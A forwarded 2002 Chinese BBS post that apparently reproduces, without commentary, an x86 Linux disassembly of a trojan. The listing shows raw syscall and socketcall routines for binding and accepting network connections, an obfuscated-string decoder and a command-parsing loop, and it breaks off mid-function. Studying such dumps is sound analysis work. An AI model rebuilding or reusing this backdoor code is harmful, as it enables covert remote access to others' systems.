荔园在线
荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: jjk (UNIX+C+XML+?? 傻了?), 信区: Linux
标 题: 73501867 trojan(转寄)[转载]
发信站: 荔园晨风BBS站 (Wed Apr 24 18:09:49 2002), 转信
【 以下文字转载自 jjk 的信箱 】
【 原文由 jjk.bbs@apue.dhs.org 所发表 】
发信人: lgx (lgx), 信区: CompSci
标 题: 73501867 trojan
发信站: UNIX编程 (Wed Apr 10 15:16:56 2002) , 转信
0x80495fc: jmp 0x804a7e0
0x8049601: lea 0x0(%esi),%esi
0x8049604: push %ebp
0x8049605: mov %esp,%ebp
0x8049607: mov 0x8(%esp,1),%eax
0x804960b: int $0x80
0x804960d: leave
0x804960e: ret
0x804960f: nop
0x8049610: push %ebp
0x8049611: mov %esp,%ebp
0x8049613: push %ebx
0x8049614: mov 0xc(%esp,1),%eax
0x8049618: mov 0x10(%esp,1),%ebx
0x804961c: int $0x80
0x804961e: pop %ebx
0x804961f: leave
0x8049620: ret
0x8049621: lea 0x0(%esi),%esi
0x8049624: push %ebp
0x8049625: mov %esp,%ebp
0x8049627: push %ebx
0x8049628: push %ecx
0x8049629: mov 0x10(%esp,1),%eax
0x804962d: mov 0x14(%esp,1),%ebx
0x8049631: mov 0x18(%esp,1),%ecx
0x8049635: int $0x80
0x8049637: pop %ecx
0x8049638: pop %ebx
0x8049639: leave
0x804963a: ret
0x804963b: nop
0x804963c: push %ebp
0x804963d: mov %esp,%ebp
0x804963f: push %ebx
0x8049640: push %ecx
0x8049641: push %edx
0x8049642: mov 0x14(%esp,1),%eax
0x8049646: mov 0x18(%esp,1),%ebx
0x804964a: mov 0x1c(%esp,1),%ecx
0x804964e: mov 0x20(%esp,1),%edx
0x8049652: int $0x80
0x8049654: pop %edx
0x8049655: pop %ecx
0x8049656: pop %ebx
0x8049657: leave
0x8049658: ret
0x8049659: lea 0x0(%esi),%esi
0x804965c: push %ebp
0x804965d: mov %esp,%ebp
0x804965f: push %ebx
0x8049660: push %ecx
0x8049661: push %edx
0x8049662: push %esi
0x8049663: push %edi
0x8049664: mov $0x75,%eax
0x8049669: mov 0x1c(%esp,1),%ebx
0x804966d: mov 0x20(%esp,1),%ecx
0x8049671: mov 0x24(%esp,1),%edx
0x8049675: mov 0x28(%esp,1),%esi
0x8049679: mov 0x2c(%esp,1),%edi
0x804967d: int $0x80
0x804967f: pop %edi
0x8049680: pop %esi
0x8049681: pop %edx
0x8049682: pop %ecx
0x8049683: pop %ebx
0x8049684: leave
0x8049685: ret
0x8049686: mov %esi,%esi
0x8049688: push %ebp
0x8049689: mov %esp,%ebp
0x804968b: push $0x0
0x804968d: pushl 0x10(%ebp)
0x8049690: pushl 0xc(%ebp)
0x8049693: pushl 0x8(%ebp)
0x8049696: push $0x17
0x8049698: call 0x804965c
0x804969d: leave
0x804969e: ret
0x804969f: nop
0x80496a0: push %ebp
0x80496a1: mov %esp,%ebp
0x80496a3: sub $0x4,%esp
0x80496a6: pushl 0xc(%ebp)
0x80496a9: lea 0xfffffffc(%ebp),%eax
0x80496ac: push %eax
0x80496ad: pushl 0x10(%ebp)
0x80496b0: pushl 0x8(%ebp)
0x80496b3: push $0x15
0x80496b5: call 0x804965c
0x80496ba: mov 0xfffffffc(%ebp),%eax
0x80496bd: leave
0x80496be: ret
0x80496bf: nop
0x80496c0: push %ebp
0x80496c1: mov %esp,%ebp
0x80496c3: pushl 0x10(%ebp)
0x80496c6: push $0x0
0x80496c8: pushl 0xc(%ebp)
0x80496cb: pushl 0x8(%ebp)
0x80496ce: push $0x18
0x80496d0: call 0x804965c
0x80496d5: leave
0x80496d6: ret
0x80496d7: nop
0x80496d8: push %ebp
0x80496d9: mov %esp,%ebp
0x80496db: pushl 0x8(%ebp)
0x80496de: push $0x0
0x80496e0: push $0x0
0x80496e2: push $0x0
0x80496e4: push $0x16
0x80496e6: call 0x804965c
0x80496eb: leave
0x80496ec: ret
0x80496ed: lea 0x0(%esi),%esi
0x80496f0: push %ebp
0x80496f1: mov %esp,%ebp
0x80496f3: push %ebx
0x80496f4: mov 0xc(%ebp),%ebx
0x80496f7: pushl 0x10(%ebp)
0x80496fa: push %ebx
0x80496fb: pushl 0x8(%ebp)
0x80496fe: push $0x13
0x8049700: call 0x804963c
0x8049705: cmp %ebx,%eax
0x8049707: jne 0x8049710
0x8049709: mov $0x1,%eax
0x804970e: jmp 0x8049712
0x8049710: xor %eax,%eax
0x8049712: mov 0xfffffffc(%ebp),%ebx
0x8049715: leave
0x8049716: ret
0x8049717: nop
0x8049718: push %ebp
0x8049719: mov %esp,%ebp
0x804971b: push %esi
0x804971c: push %ebx
0x804971d: mov 0x8(%ebp),%esi
0x8049720: mov 0xc(%ebp),%ebx
0x8049723: mov 0x10(%ebp),%ecx
0x8049726: xor %edx,%edx
0x8049728: cmp %ecx,%edx
0x804972a: jge 0x804973d
0x804972c: mov (%edx,%ebx,1),%al
0x804972f: cmp %al,(%edx,%esi,1)
0x8049732: je 0x8049738
0x8049734: xor %eax,%eax
0x8049736: jmp 0x8049742
0x8049738: inc %edx
0x8049739: cmp %ecx,%edx
0x804973b: jl 0x804972c
0x804973d: mov $0x1,%eax
0x8049742: lea 0xfffffff8(%ebp),%esp
0x8049745: pop %ebx
0x8049746: pop %esi
0x8049747: leave
0x8049748: ret
0x8049749: lea 0x0(%esi),%esi
0x804974c: push %ebp
0x804974d: mov %esp,%ebp
0x804974f: push %ebx
0x8049750: mov 0x8(%ebp),%ebx
0x8049753: mov 0x10(%ebp),%edx
0x8049756: mov 0xc(%ebp),%cl
0x8049759: xor %eax,%eax
0x804975b: cmp %edx,%eax
0x804975d: jge 0x8049768
0x804975f: nop
0x8049760: mov %cl,(%eax,%ebx,1)
0x8049763: inc %eax
0x8049764: cmp %edx,%eax
0x8049766: jl 0x8049760
0x8049768: mov 0xfffffffc(%ebp),%ebx
0x804976b: leave
0x804976c: ret
0x804976d: lea 0x0(%esi),%esi
0x8049770: push %ebp
0x8049771: mov %esp,%ebp
0x8049773: mov 0x8(%ebp),%edx
0x8049776: xor %eax,%eax
0x8049778: cmpb $0x0,(%edx)
0x804977b: je 0x8049787
0x804977d: lea 0x0(%esi),%esi
0x8049780: inc %edx
0x8049781: inc %eax
0x8049782: cmpb $0x0,(%edx)
0x8049785: jne 0x8049780
0x8049787: leave
0x8049788: ret
0x8049789: lea 0x0(%esi),%esi
0x804978c: push %ebp
0x804978d: mov %esp,%ebp
0x804978f: push %ebx
0x8049790: mov 0x10(%ebp),%edx
0x8049793: mov 0x8(%ebp),%ebx
0x8049796: mov 0xc(%ebp),%ecx
0x8049799: test %edx,%edx
0x804979b: jle 0x80497ab
0x804979d: lea 0x0(%esi),%esi
0x80497a0: mov (%ecx),%al
0x80497a2: mov %al,(%ebx)
0x80497a4: inc %ebx
0x80497a5: inc %ecx
0x80497a6: dec %edx
0x80497a7: test %edx,%edx
0x80497a9: jg 0x80497a0
0x80497ab: mov 0xfffffffc(%ebp),%ebx
0x80497ae: leave
0x80497af: ret
0x80497b0: push %ebp
0x80497b1: mov %esp,%ebp
0x80497b3: push %esi
0x80497b4: push %ebx
0x80497b5: mov 0x8(%ebp),%ebx
0x80497b8: push $0x0
0x80497ba: push $0x2d
0x80497bc: call 0x8049610
0x80497c1: mov %eax,%esi
0x80497c3: add %esi,%ebx
0x80497c5: push %ebx
0x80497c6: push $0x2d
0x80497c8: call 0x8049610
0x80497cd: cmp %esi,%eax
0x80497cf: je 0x80497d8
0x80497d1: mov %esi,%eax
0x80497d3: jmp 0x80497da
0x80497d5: lea 0x0(%esi),%esi
0x80497d8: xor %eax,%eax
0x80497da: lea 0xfffffff8(%ebp),%esp
0x80497dd: pop %ebx
0x80497de: pop %esi
0x80497df: leave
0x80497e0: ret
0x80497e1: lea 0x0(%esi),%esi
0x80497e4: push %ebp
0x80497e5: mov %esp,%ebp
0x80497e7: pushl 0x8(%ebp)
0x80497ea: push $0x2d
0x80497ec: call 0x8049610
0x80497f1: leave
0x80497f2: ret
0x80497f3: nop
0x80497f4: push %ebp
0x80497f5: mov %esp,%ebp
0x80497f7: sub $0x8,%esp
0x80497fa: push %edi
0x80497fb: push %esi
0x80497fc: push %ebx
0x80497fd: mov 0x8(%ebp),%ebx
0x8049800: push $0x800
0x8049805: call 0x80497b0
0x804980a: mov %eax,0xfffffffc(%ebp)
0x804980d: mov 0xc(%ebp),%edi
0x8049810: movl $0x0,(%edi)
0x8049816: add $0x4,%esp
0x8049819: cmpl $0x0,0xfffffffc(%ebp)
0x804981d: jne 0x8049824
0x804981f: xor %eax,%eax
0x8049821: jmp 0x8049889
0x8049823: nop
0x8049824: push $0x800
0x8049829: push $0x0
0x804982b: mov 0xfffffffc(%ebp),%edi
0x804982e: push %edi
0x804982f: call 0x804974c
0x8049834: push %ebx
0x8049835: call 0x8049770
0x804983a: dec %eax
0x804983b: mov %eax,0xfffffff8(%ebp)
0x804983e: xor %eax,%eax
0x8049840: xor %esi,%esi
0x8049842: cmp 0xfffffff8(%ebp),%eax
0x8049845: jge 0x8049877
0x8049847: mov %ebx,%edx
0x8049849: lea 0x1(%edx),%ecx
0x804984c: mov 0xfffffffc(%ebp),%ebx
0x804984f: nop
0x8049850: cmpb $0x20,(%edx)
0x8049853: jne 0x804986f
0x8049855: cmpb $0x20,(%ecx)
0x8049858: je 0x8049867
0x804985a: mov %ecx,(%ebx)
0x804985c: cmp $0xfd,%eax
0x8049861: jg 0x8049867
0x8049863: add $0x4,%ebx
0x8049866: inc %eax
0x8049867: cmpb $0x20,(%edx)
0x804986a: jne 0x804986f
0x804986c: movb $0x0,(%edx)
0x804986f: inc %edx
0x8049870: inc %ecx
0x8049871: inc %esi
0x8049872: cmp 0xfffffff8(%ebp),%esi
0x8049875: jl 0x8049850
0x8049877: mov 0xfffffffc(%ebp),%edi
0x804987a: movl $0x0,(%edi,%eax,4)
0x8049881: mov 0xc(%ebp),%edi
0x8049884: mov %eax,(%edi)
0x8049886: mov 0xfffffffc(%ebp),%eax
0x8049889: lea 0xffffffec(%ebp),%esp
0x804988c: pop %ebx
0x804988d: pop %esi
0x804988e: pop %edi
0x804988f: leave
0x8049890: ret
0x8049891: lea 0x0(%esi),%esi
0x8049894: push %ebp
0x8049895: mov %esp,%ebp
0x8049897: sub $0x4,%esp
0x804989a: push %esi
0x804989b: push %ebx
0x804989c: mov 0x8(%ebp),%esi
0x804989f: xor %ecx,%ecx
0x80498a1: test %esi,%esi
0x80498a3: jg 0x80498ac
0x80498a5: mov $0x1,%eax
0x80498aa: jmp 0x80498cd
0x80498ac: mov $0x66666667,%ebx
0x80498b1: lea 0x0(%esi),%esi
0x80498b4: mov %esi,%eax
0x80498b6: imul %ebx,%eax
0x80498b8: sar $0x2,%edx
0x80498bb: sar $0x1f,%esi
0x80498be: mov %esi,0xfffffffc(%ebp)
0x80498c1: mov %edx,%esi
0x80498c3: sub 0xfffffffc(%ebp),%esi
0x80498c6: inc %ecx
0x80498c7: test %esi,%esi
0x80498c9: jg 0x80498b4
0x80498cb: mov %ecx,%eax
0x80498cd: lea 0xfffffff4(%ebp),%esp
0x80498d0: pop %ebx
0x80498d1: pop %esi
0x80498d2: leave
0x80498d3: ret
0x80498d4: push %ebp
0x80498d5: mov %esp,%ebp
0x80498d7: sub $0x8,%esp
0x80498da: push %edi
0x80498db: push %esi
0x80498dc: push %ebx
0x80498dd: xor %esi,%esi
0x80498df: movl $0x0,0xfffffff8(%ebp)
0x80498e6: mov 0x8(%ebp),%edi
0x80498e9: mov (%edi),%al
0x80498eb: jmp 0x80498f7
0x80498ed: lea 0x0(%esi),%esi
0x80498f0: inc %esi
0x80498f1: mov 0x8(%ebp),%edi
0x80498f4: mov (%esi,%edi,1),%al
0x80498f7: add $0xd0,%al
0x80498f9: cmp $0x9,%al
0x80498fb: jbe 0x80498f0
0x80498fd: xor %ebx,%ebx
0x80498ff: cmp %esi,%ebx
0x8049901: jge 0x8049936
0x8049903: lea 0xffffffff(%esi),%edi
0x8049906: mov %edi,0xfffffffc(%ebp)
0x8049909: lea 0x0(%esi),%esi
0x804990c: mov 0x8(%ebp),%edi
0x804990f: movsbl (%ebx,%edi,1),%eax
0x8049913: add $0xffffffd0,%eax
0x8049916: xor %ecx,%ecx
0x8049918: mov 0xfffffffc(%ebp),%edx
0x804991b: sub %ebx,%edx
0x804991d: cmp %edx,%ecx
0x804991f: jge 0x804992e
0x8049921: lea 0x0(%esi),%esi
0x8049924: lea (%eax,%eax,4),%eax
0x8049927: add %eax,%eax
0x8049929: inc %ecx
0x804992a: cmp %edx,%ecx
0x804992c: jl 0x8049924
0x804992e: add %eax,0xfffffff8(%ebp)
0x8049931: inc %ebx
0x8049932: cmp %esi,%ebx
0x8049934: jl 0x804990c
0x8049936: mov 0xfffffff8(%ebp),%eax
0x8049939: lea 0xffffffec(%ebp),%esp
0x804993c: pop %ebx
0x804993d: pop %esi
0x804993e: pop %edi
0x804993f: leave
0x8049940: ret
0x8049941: lea 0x0(%esi),%esi
0x8049944: push %ebp
0x8049945: mov %esp,%ebp
0x8049947: push %edi
0x8049948: push %esi
0x8049949: push %ebx
0x804994a: mov 0x8(%ebp),%edi
0x804994d: mov 0xc(%ebp),%esi
0x8049950: mov 0x10(%ebp),%ebx
0x8049953: nop
0x8049954: push %ebx
0x8049955: push %esi
0x8049956: push %edi
0x8049957: push $0x3
0x8049959: call 0x804963c
0x804995e: add $0x10,%esp
0x8049961: cmp %ebx,%eax
0x8049963: jne 0x804996c
0x8049965: mov $0x1,%eax
0x804996a: jmp 0x8049980
0x804996c: test %eax,%eax
0x804996e: jg 0x8049978
0x8049970: test %ebx,%ebx
0x8049972: jle 0x8049978
0x8049974: xor %eax,%eax
0x8049976: jmp 0x8049980
0x8049978: sub %eax,%ebx
0x804997a: add %al,(%esi)
0x804997c: jmp 0x8049954
0x804997e: mov %esi,%esi
0x8049980: lea 0xfffffff4(%ebp),%esp
0x8049983: pop %ebx
0x8049984: pop %esi
0x8049985: pop %edi
0x8049986: leave
0x8049987: ret
0x8049988: push %ebp
0x8049989: mov %esp,%ebp
0x804998b: push %edi
0x804998c: push %esi
0x804998d: push %ebx
0x804998e: mov 0x8(%ebp),%edi
0x8049991: mov 0xc(%ebp),%esi
0x8049994: mov 0x10(%ebp),%ebx
0x8049997: nop
0x8049998: push %ebx
0x8049999: push %esi
0x804999a: push %edi
0x804999b: push $0x4
0x804999d: call 0x804963c
0x80499a2: add $0x10,%esp
0x80499a5: cmp %ebx,%eax
0x80499a7: jne 0x80499b0
0x80499a9: mov $0x1,%eax
0x80499ae: jmp 0x80499c4
0x80499b0: test %eax,%eax
0x80499b2: jg 0x80499bc
0x80499b4: test %ebx,%ebx
0x80499b6: jle 0x80499bc
0x80499b8: xor %eax,%eax
0x80499ba: jmp 0x80499c4
0x80499bc: sub %eax,%ebx
0x80499be: add %al,(%esi)
0x80499c0: jmp 0x8049998
0x80499c2: mov %esi,%esi
0x80499c4: lea 0xfffffff4(%ebp),%esp
0x80499c7: pop %ebx
0x80499c8: pop %esi
0x80499c9: pop %edi
0x80499ca: leave
0x80499cb: ret
0x80499cc: push %ebp
0x80499cd: mov %esp,%ebp
0x80499cf: mov 0x8(%ebp),%eax
0x80499d2: rol $0x8,%ax
0x80499d6: and $0xffff,%eax
0x80499db: leave
0x80499dc: ret
0x80499dd: lea 0x0(%esi),%esi
0x80499e0: push %ebp
0x80499e1: mov %esp,%ebp
0x80499e3: sub $0xc,%esp
0x80499e6: mov 0x8(%ebp),%eax
0x80499e9: mov 0xc(%ebp),%edx
0x80499ec: mov 0x10(%ebp),%ecx
0x80499ef: mov %eax,0xfffffff4(%ebp)
0x80499f2: mov %edx,0xfffffff8(%ebp)
0x80499f5: mov %ecx,0xfffffffc(%ebp)
0x80499f8: lea 0xfffffff4(%ebp),%eax
0x80499fb: push %eax
0x80499fc: push $0x1
0x80499fe: push $0x66
0x8049a00: call 0x8049624
0x8049a05: leave
0x8049a06: ret
0x8049a07: nop
0x8049a08: push %ebp
0x8049a09: mov %esp,%ebp
0x8049a0b: sub $0x8,%esp
0x8049a0e: mov 0x8(%ebp),%eax
0x8049a11: mov 0xc(%ebp),%edx
0x8049a14: mov %eax,0xfffffff8(%ebp)
0x8049a17: lea 0xfffffff8(%ebp),%eax
0x8049a1a: mov %edx,0x4(%eax)
0x8049a1d: push %eax
0x8049a1e: push $0x4
0x8049a20: push $0x66
0x8049a22: call 0x8049624
0x8049a27: leave
0x8049a28: ret
0x8049a29: lea 0x0(%esi),%esi
0x8049a2c: push %ebp
0x8049a2d: mov %esp,%ebp
0x8049a2f: sub $0x1c,%esp
0x8049a32: push %edi
0x8049a33: push %esi
0x8049a34: push %ebx
0x8049a35: push $0x6
0x8049a37: push $0x1
0x8049a39: push $0x2
0x8049a3b: call 0x80499e0
0x8049a40: mov %eax,%edi
0x8049a42: add $0xc,%esp
0x8049a45: test %edi,%edi
0x8049a47: jl 0x8049aa8
0x8049a49: push $0x10
0x8049a4b: push $0x0
0x8049a4d: lea 0xffffffe4(%ebp),%esi
0x8049a50: push %esi
0x8049a51: call 0x804974c
0x8049a56: movw $0x2,0xffffffe4(%ebp)
0x8049a5c: movzwl 0xc(%ebp),%eax
0x8049a60: push %eax
0x8049a61: call 0x80499cc
0x8049a66: mov %ax,0xffffffe6(%ebp)
0x8049a6a: mov 0x8(%ebp),%eax
0x8049a6d: mov %eax,0xffffffe8(%ebp)
0x8049a70: push $0xc
0x8049a72: push $0x0
0x8049a74: lea 0xfffffff4(%ebp),%ebx
0x8049a77: push %ebx
0x8049a78: call 0x804974c
0x8049a7d: mov %edi,0xfffffff4(%ebp)
0x8049a80: mov %esi,0xfffffff8(%ebp)
0x8049a83: movl $0x10,0xfffffffc(%ebp)
0x8049a8a: push %ebx
0x8049a8b: push $0x3
0x8049a8d: push $0x66
0x8049a8f: call 0x8049624
0x8049a94: add $0x28,%esp
0x8049a97: test %eax,%eax
0x8049a99: jl 0x8049aa0
0x8049a9b: mov %edi,%eax
0x8049a9d: jmp 0x8049aad
0x8049a9f: nop
0x8049aa0: push %edi
0x8049aa1: push $0x6
0x8049aa3: call 0x8049610
0x8049aa8: mov $0xffffffff,%eax
0x8049aad: lea 0xffffffd8(%ebp),%esp
0x8049ab0: pop %ebx
0x8049ab1: pop %esi
0x8049ab2: pop %edi
0x8049ab3: leave
0x8049ab4: ret
0x8049ab5: lea 0x0(%esi),%esi
0x8049ab8: push %ebp
0x8049ab9: mov %esp,%ebp
0x8049abb: sub $0x1c,%esp
0x8049abe: push %edi
0x8049abf: push %esi
0x8049ac0: push %ebx
0x8049ac1: mov 0x8(%ebp),%edx
0x8049ac4: push %edx
0x8049ac5: cmp $0x11,%edx
0x8049ac8: jne 0x8049ad4
0x8049aca: mov $0x2,%eax
0x8049acf: jmp 0x8049ad9
0x8049ad1: lea 0x0(%esi),%esi
0x8049ad4: mov $0x1,%eax
0x8049ad9: push %eax
0x8049ada: push $0x2
0x8049adc: call 0x80499e0
0x8049ae1: mov %eax,%edi
0x8049ae3: add $0xc,%esp
0x8049ae6: test %edi,%edi
0x8049ae8: jge 0x8049af4
0x8049aea: mov $0xffffffff,%eax
0x8049aef: jmp 0x8049b68
0x8049af1: lea 0x0(%esi),%esi
0x8049af4: push $0x10
0x8049af6: push $0x0
0x8049af8: lea 0xffffffe4(%ebp),%ebx
0x8049afb: push %ebx
0x8049afc: call 0x804974c
0x8049b01: movw $0x2,0xffffffe4(%ebp)
0x8049b07: movzwl 0xc(%ebp),%eax
0x8049b0b: push %eax
0x8049b0c: call 0x80499cc
0x8049b11: mov %ax,0xffffffe6(%ebp)
0x8049b15: movl $0x0,0xffffffe8(%ebp)
0x8049b1c: push $0xc
0x8049b1e: push $0x0
0x8049b20: lea 0xfffffff4(%ebp),%esi
0x8049b23: push %esi
0x8049b24: call 0x804974c
0x8049b29: mov %edi,0xfffffff4(%ebp)
0x8049b2c: mov %ebx,0xfffffff8(%ebp)
0x8049b2f: movl $0x10,0xfffffffc(%ebp)
0x8049b36: push %esi
0x8049b37: push $0x2
0x8049b39: push $0x66
0x8049b3b: call 0x8049624
0x8049b40: add $0x28,%esp
0x8049b43: test %eax,%eax
0x8049b45: jge 0x8049b58
0x8049b47: push %edi
0x8049b48: push $0x6
0x8049b4a: call 0x8049610
0x8049b4f: mov $0xffffffff,%eax
0x8049b54: jmp 0x8049b68
0x8049b56: mov %esi,%esi
0x8049b58: cmpl $0x6,0x8(%ebp)
0x8049b5c: jne 0x8049b66
0x8049b5e: push $0xa
0x8049b60: push %edi
0x8049b61: call 0x8049a08
0x8049b66: mov %edi,%eax
0x8049b68: lea 0xffffffd8(%ebp),%esp
0x8049b6b: pop %ebx
0x8049b6c: pop %esi
0x8049b6d: pop %edi
0x8049b6e: leave
0x8049b6f: ret
0x8049b70: push %ebp
0x8049b71: mov %esp,%ebp
0x8049b73: sub $0x20,%esp
0x8049b76: mov 0x8(%ebp),%eax
0x8049b79: movl $0x10,0xffffffe0(%ebp)
0x8049b80: mov %eax,0xfffffff4(%ebp)
0x8049b83: lea 0xffffffe4(%ebp),%edx
0x8049b86: mov %edx,0xfffffff8(%ebp)
0x8049b89: lea 0xffffffe0(%ebp),%edx
0x8049b8c: mov %edx,0xfffffffc(%ebp)
0x8049b8f: lea 0xfffffff4(%ebp),%eax
0x8049b92: push %eax
0x8049b93: push $0x5
0x8049b95: push $0x66
0x8049b97: call 0x8049624
0x8049b9c: leave
0x8049b9d: ret
0x8049b9e: mov %esi,%esi
0x8049ba0: push %ebp
0x8049ba1: mov %esp,%ebp
0x8049ba3: sub $0x2c,%esp
0x8049ba6: push %edi
0x8049ba7: push %esi
0x8049ba8: push %ebx
0x8049ba9: mov 0x8(%ebp),%edi
0x8049bac: mov 0xc(%ebp),%ebx
0x8049baf: mov 0x10(%ebp),%esi
0x8049bb2: movl $0x10,0xffffffd4(%ebp)
0x8049bb9: push %esi
0x8049bba: push $0x0
0x8049bbc: push %ebx
0x8049bbd: call 0x804974c
0x8049bc2: mov %edi,0xffffffe8(%ebp)
0x8049bc5: mov %ebx,0xffffffec(%ebp)
0x8049bc8: mov %esi,0xfffffff0(%ebp)
0x8049bcb: movl $0x0,0xfffffff4(%ebp)
0x8049bd2: lea 0xffffffd8(%ebp),%edx
0x8049bd5: mov %edx,0xfffffff8(%ebp)
0x8049bd8: lea 0xffffffd4(%ebp),%edx
0x8049bdb: mov %edx,0xfffffffc(%ebp)
0x8049bde: lea 0xffffffe8(%ebp),%eax
0x8049be1: push %eax
0x8049be2: push $0xc
0x8049be4: push $0x66
0x8049be6: call 0x8049624
0x8049beb: lea 0xffffffc8(%ebp),%esp
0x8049bee: pop %ebx
0x8049bef: pop %esi
0x8049bf0: pop %edi
0x8049bf1: leave
0x8049bf2: ret
0x8049bf3: nop
0x8049bf4: push %ebp
0x8049bf5: mov %esp,%ebp
0x8049bf7: jmp 0x8049bfc
0x8049bf9: pop %eax
0x8049bfa: jmp 0x8049c48
0x8049bfc: call 0x8049bf9
0x8049c01: and %bh,0x7d(%edi)
0x8049c04: pusha
0x8049c05: insb (%dx),%es:(%edi)
0x8049c06: and %ah,0x6a(%ecx)
0x8049c09: jnp 0x8049c2b
0x8049c0b: data16
0x8049c0c: jg 0x8049c5e
0x8049c0e: imul $0x61666e67,0x6c(%eax),%edi
0x8049c15: jl 0x8049c17
0x8049c17: popaw
0x8049c19: jg 0x8049c95
0x8049c1b: jnp 0x8049c1d
0x8049c1d: and %ch,0x66(%ebp)
0x8049c20: popa
0x8049c21: and %bh,0x0(%edi,2)
0x8049c25: and 0x22(%eax,%eax,1),%ch
0x8049c29: data16
0x8049c2a: add %bl,0x5c(%edx,%ecx,2)
0x8049c2e: pop %esp
0x8049c2f: inc %esi
0x8049c30: inc %eax
0x8049c31: inc %ecx
0x8049c32: das
0x8049c33: pop %esp
0x8049c34: pop %ebx
0x8049c35: dec %esi
0x8049c36: pop %ebp
0x8049c37: pop %ebx
0x8049c38: dec %edx
0x8049c39: dec %ebx
0x8049c3a: xor $0x7d7f2000,%eax
0x8049c3f: pusha
0x8049c40: insb (%dx),%es:(%edi)
0x8049c41: and %al,(%eax)
0x8049c43: and %ch,0x6a(%ebx)
0x8049c46: jns 0x8049c48
0x8049c48: leave
0x8049c49: ret
0x8049c4a: mov %esi,%esi
0x8049c4c: push %ebp
0x8049c4d: mov %esp,%ebp
0x8049c4f: sub $0x4,%esp
0x8049c52: push %edi
0x8049c53: push %esi
0x8049c54: push %ebx
0x8049c55: mov 0x8(%ebp),%ebx
0x8049c58: call 0x8049bf4
0x8049c5d: mov %eax,%esi
0x8049c5f: test %ebx,%ebx
0x8049c61: jle 0x8049c6f
0x8049c63: nop
0x8049c64: cmpb $0x0,(%esi)
0x8049c67: jne 0x8049c6a
0x8049c69: dec %ebx
0x8049c6a: inc %esi
0x8049c6b: test %ebx,%ebx
0x8049c6d: jg 0x8049c64
0x8049c6f: mov 0x10(%ebp),%eax
0x8049c72: push %eax
0x8049c73: push $0x0
0x8049c75: mov 0xc(%ebp),%edi
0x8049c78: push %edi
0x8049c79: call 0x804974c
0x8049c7e: mov %esi,%edx
0x8049c80: mov %edx,%edi
0x8049c82: xor %eax,%eax
0x8049c84: cld
0x8049c85: mov $0xffffffff,%ecx
0x8049c8a: repnz scas %es:(%edi),%al
0x8049c8c: not %ecx
0x8049c8e: dec %ecx
0x8049c8f: mov 0x10(%ebp),%eax
0x8049c92: cmp %eax,%ecx
0x8049c94: ja 0x8049cac
0x8049c96: mov %esi,%edi
0x8049c98: xor %eax,%eax
0x8049c9a: cld
0x8049c9b: mov $0xffffffff,%ecx
0x8049ca0: repnz scas %es:(%edi),%al
0x8049ca2: not %ecx
0x8049ca4: lea 0xffffffff(%ecx),%ebx
0x8049ca7: jmp 0x8049caf
0x8049ca9: lea 0x0(%esi),%esi
0x8049cac: mov 0x10(%ebp),%ebx
0x8049caf: xor %ecx,%ecx
0x8049cb1: cmp %ebx,%ecx
0x8049cb3: jge 0x8049cdd
0x8049cb5: lea 0x0(%esi),%esi
0x8049cb8: mov (%ecx,%esi,1),%dl
0x8049cbb: test %dl,%dl
0x8049cbd: je 0x8049cd8
0x8049cbf: mov %dl,0xfffffffc(%ebp)
0x8049cc2: andb $0xf0,0xfffffffc(%ebp)
0x8049cc6: sub 0xfffffffc(%ebp),%dl
0x8049cc9: addb $0xf,0xfffffffc(%ebp)
0x8049ccd: mov 0xfffffffc(%ebp),%al
0x8049cd0: sub %dl,%al
0x8049cd2: mov 0xc(%ebp),%edi
0x8049cd5: mov %al,(%ecx,%edi,1)
0x8049cd8: inc %ecx
0x8049cd9: cmp %ebx,%ecx
0x8049cdb: jl 0x8049cb8
0x8049cdd: lea 0xfffffff0(%ebp),%esp
0x8049ce0: pop %ebx
0x8049ce1: pop %esi
0x8049ce2: pop %edi
0x8049ce3: leave
0x8049ce4: ret
0x8049ce5: lea 0x0(%esi),%esi
0x8049ce8: push %ebp
0x8049ce9: mov %esp,%ebp
0x8049ceb: sub $0x41c,%esp
0x8049cf1: push %edi
0x8049cf2: push %esi
0x8049cf3: push %ebx
0x8049cf4: push $0x6
0x8049cf6: lea 0xfffffbf8(%ebp),%edx
0x8049cfc: mov %edx,0xfffffbec(%ebp)
0x8049d02: push %edx
0x8049d03: push $0x1
0x8049d05: call 0x8049c4c
0x8049d0a: push $0x78
0x8049d0c: call 0x80497b0
0x8049d11: mov %eax,0xfffffbf0(%ebp)
0x8049d17: mov %eax,%esi
0x8049d19: add $0x10,%esp
0x8049d1c: test %esi,%esi
0x8049d1e: jne 0x8049d28
0x8049d20: xor %eax,%eax
0x8049d22: jmp 0x8049ee9
0x8049d27: nop
0x8049d28: push $0x400
0x8049d2d: lea 0xfffffc00(%ebp),%ebx
0x8049d33: push %ebx
0x8049d34: push $0x0
0x8049d36: call 0x8049c4c
0x8049d3b: push $0x0
0x8049d3d: push $0x0
0x8049d3f: push %ebx
0x8049d40: push $0x5
0x8049d42: call 0x804963c
0x8049d47: mov %eax,%edi
0x8049d49: add $0x1c,%esp
0x8049d4c: test %edi,%edi
0x8049d4e: jge 0x8049d7c
0x8049d50: mov 0xfffffbf0(%ebp),%edx
0x8049d56: push %edx
0x8049d57: push $0x2d
0x8049d59: jmp 0x8049d6d
0x8049d5b: nop
0x8049d5c: mov 0xfffffbf0(%ebp),%edx
0x8049d62: push %edx
0x8049d63: push $0x2d
0x8049d65: call 0x8049610
0x8049d6a: push %edi
0x8049d6b: push $0x6
0x8049d6d: call 0x8049610
0x8049d72: xor %eax,%eax
0x8049d74: jmp 0x8049ee9
0x8049d79: lea 0x0(%esi),%esi
0x8049d7c: mov %esp,0xfffffbe8(%ebp)
0x8049d82: sub $0xa0,%esp
0x8049d88: mov %esp,0xfffffbe4(%ebp)
0x8049d8e: jmp 0x8049eb6
0x8049d93: nop
0x8049d94: lea 0xfffffbf4(%ebp),%eax
0x8049d9a: push %eax
0x8049d9b: mov 0xfffffbe4(%ebp),%edx
0x8049da1: push %edx
0x8049da2: call 0x80497f4
0x8049da7: mov %eax,%ebx
0x8049da9: add $0x8,%esp
0x8049dac: cmpl $0x11,0xfffffbf4(%ebp)
0x8049db3: jle 0x8049dcc
0x8049db5: push $0x5
0x8049db7: mov 0xfffffbec(%ebp),%edx
0x8049dbd: push %edx
0x8049dbe: pushl (%ebx)
0x8049dc0: call 0x8049718
0x8049dc5: add $0xc,%esp
0x8049dc8: test %eax,%eax
0x8049dca: jne 0x8049ddc
0x8049dcc: push %ebx
0x8049dcd: push $0x2d
0x8049dcf: call 0x8049610
0x8049dd4: add $0x8,%esp
